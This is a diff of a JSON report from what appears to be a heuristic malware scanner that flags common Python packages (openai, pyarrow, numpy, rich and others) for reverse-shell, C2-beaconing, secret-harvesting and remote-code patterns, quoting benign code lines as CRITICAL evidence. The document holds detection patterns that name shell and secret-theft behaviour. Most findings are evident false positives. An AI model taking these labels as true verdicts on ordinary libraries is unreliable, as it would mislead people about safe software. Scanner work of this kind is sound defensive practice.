"CRITICAL",- "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)"+ "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)",+ "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"},{"package": "diffusers","file": "diffusers/utils/testing_utils.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st"+ "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",+ "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"},{"package": "dill","file": "dill/_objects.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()"- },- {- "package": "execnet",- "file": "execnet/gateway_base.py",- "check": "Reverse shell / bind shell pattern",- "severity": "CRITICAL",- "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)"- },- {- "package": "fastapi",- "file": "fastapi/routing.py",- "check": "C2 polling/beaconing loop detected",- "severity": "CRITICAL",- "evidence": "L579: while True:"+ "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",+ "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"},{"package": "fastmcp-slim","file": "fastmcp/cli/apps_dev.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie"+ "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:",+ "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"},{"package": "fastmcp-slim","file": "fastmcp/cli/apps_dev.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:"+ "evidence": "FS: L624: history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:",+ "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"},{"package": "fonttools","file": "fontTools/diff/__init__.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())"+ "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())",+ "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"},{"package": "fonttools","file": "fontTools/ttLib/ttFont.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)"+ "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)",+ "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01"},{"package": "httpx","file": "httpx/_models.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):"+ "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):",+ "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda"},{"package": "huggingface-hub","file": "huggingface_hub/hf_api.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L4577: while True:"+ "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",+ "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"+ },+ {+ "package": "huggingface-hub",+ "file": "huggingface_hub/hf_api.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L4600: while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",+ "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"},{"package": "huggingface-hub","file": "huggingface_hub/hf_api.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()"+ "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()",+ "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4"+ },+ {+ "package": "huggingface-hub",+ "file": "huggingface_hub/utils/_http.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L443: while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",+ "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"},{"package": "huggingface-hub","file": "huggingface_hub/utils/_http.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L428: while True:"+ "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306",+ "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703"},{"package": "ipython","file": "IPython/core/interactiveshell.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)"+ "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)",+ "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3"},{"package": "ipython","file": "IPython/terminal/pt_inputhooks/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)"+ "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)",+ "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025"},{"package": "ipython","file": "IPython/utils/py3compat.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)"+ "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)",+ "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17"},{"package": "jaraco-context","file": "jaraco/context/__init__.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)"+ "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)",+ "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"},{"package": "matplotlib","file": "matplotlib/backends/backend_webagg.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L56: if not webbrowser.open(url):"+ "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c",+ "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583"},{"package": "multiprocess","file": "multiprocess/forkserver.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L5: import socket"- },- {- "package": "multiprocess",- "file": "multiprocess/tests/__init__.py",- "check": "Reverse shell / bind shell pattern",- "severity": "CRITICAL",- "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)"+ "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",+ "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"},{"package": "numba","file": "numba/pycc/decorators.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))"+ "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))",+ "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05"},{"package": "numba","file": "numba/tests/support.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)"+ "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)",+ "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"},{"package": "numba","file": "numba/tests/test_codegen.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])"+ "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])",+ "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488"},{"package": "numpy","file": "numpy/f2py/capi_maps.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L159: d = eval(f.read().lower(), {}, {})"+ "evidence": "L159: d = eval(f.read().lower(), {}, {})",+ "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f"},{"package": "numpy","file": "numpy/lib/tests/test__datasource.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request"+ "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request",+ "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469"},{"package": "openai","file": "openai/_base_client.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L264: while True:"+ "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b",+ "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14"},{"package": "openai","file": "openai/_client.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521"+ "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,",+ "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d"},{"package": "openai","file": "openai/auth/_workload.py","check": "Accesses cloud metadata/IMDS AND makes network calls","severity": "CRITICAL",- "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | "+ "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:",+ "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567"},{"package": "openai","file": "openai/lib/azure.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou"+ "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,",+ "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923"},{"package": "openai","file": "openai/lib/bedrock.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht"+ "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,",+ "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"},{"package": "openai","file": "openai/resources/beta/threads/runs/runs.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L1074: while True:"+ "evidence": "L1074: while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",+ "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"},{"package": "openai","file": "openai/resources/realtime/realtime.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L310: while True:"+ "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05",+ "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89"},{"package": "openai","file": "openai/resources/responses/responses.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L3803: while True:"+ "evidence": "L3803: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",+ "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"},{"package": "openai","file": "openai/resources/vector_stores/file_batches.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L347: while True:"+ "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b",+ "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981"},{"package": "openai","file": "openai/resources/vector_stores/files.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L376: while True:"+ "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944",+ "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a"},{"package": "openai","file": "openai/resources/videos.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L186: while True:"+ "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41",+ "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81"},{"package": "protobuf","file": "protobuf-3.19.6-nspkg.pth","check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)","severity": "CRITICAL",- "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..."+ "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d",+ "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c"},{"package": "ptyprocess","file": "ptyprocess/_fork_pty.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)"+ "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)",+ "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926"},{"package": "pyarrow","file": "pyarrow/tests/conftest.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")"+ "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")",+ "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514"},{"package": "pyarrow","file": "pyarrow/tests/test_extension_type.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',"+ "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)",+ "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5"},{"package": "pyarrow","file": "pyarrow/tests/test_flight.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,"+ "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)",+ "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317"},{"package": "pyarrow","file": "pyarrow/tests/test_orc.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'"+ "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00",+ "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c"},{"package": "pyarrow","file": "pyarrow/tests/util.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L30: import socket"+ "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7",+ "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85"},{"package": "pyarrow","file": "pyarrow/util.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:"+ "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:",+ "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e"},{"package": "pygments","file": "pygments/formatters/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L103: exec(f.read(), custom_namespace)"+ "evidence": "L103: exec(f.read(), custom_namespace)",+ "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"},{"package": "pygments","file": "pygments/lexers/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L154: exec(f.read(), custom_namespace)"+ "evidence": "L154: exec(f.read(), custom_namespace)",+ "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"},{"package": "pygments","file": "pygments/lexers/_mysql_builtins.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')"+ "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')",+ "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114"},{"package": "pygments","file": "pygments/lexers/_php_builtins.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve"+ "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve",+ "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582"},{"package": "pyperclip","file": "pyperclip/__init__.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r'],"+ "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)",+ "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f"},{"package": "python-dateutil","file": "dateutil/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L16: return importlib.import_module(\".\" + name, __name__)"+ "evidence": "L16: return importlib.import_module(\".\" + name, __name__)",+ "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"},{"package": "rich","file": "rich/ansi.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L229: pty.spawn(sys.argv[1:], read)"+ "evidence": "L229: pty.spawn(sys.argv[1:], read)",+ "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4"},{"package": "rich","file": "rich/console.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())"+ "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())",+ "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"},{"package": "rich-rst","file": "rich_rst/_vendor/docutils/readers/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L129: module = 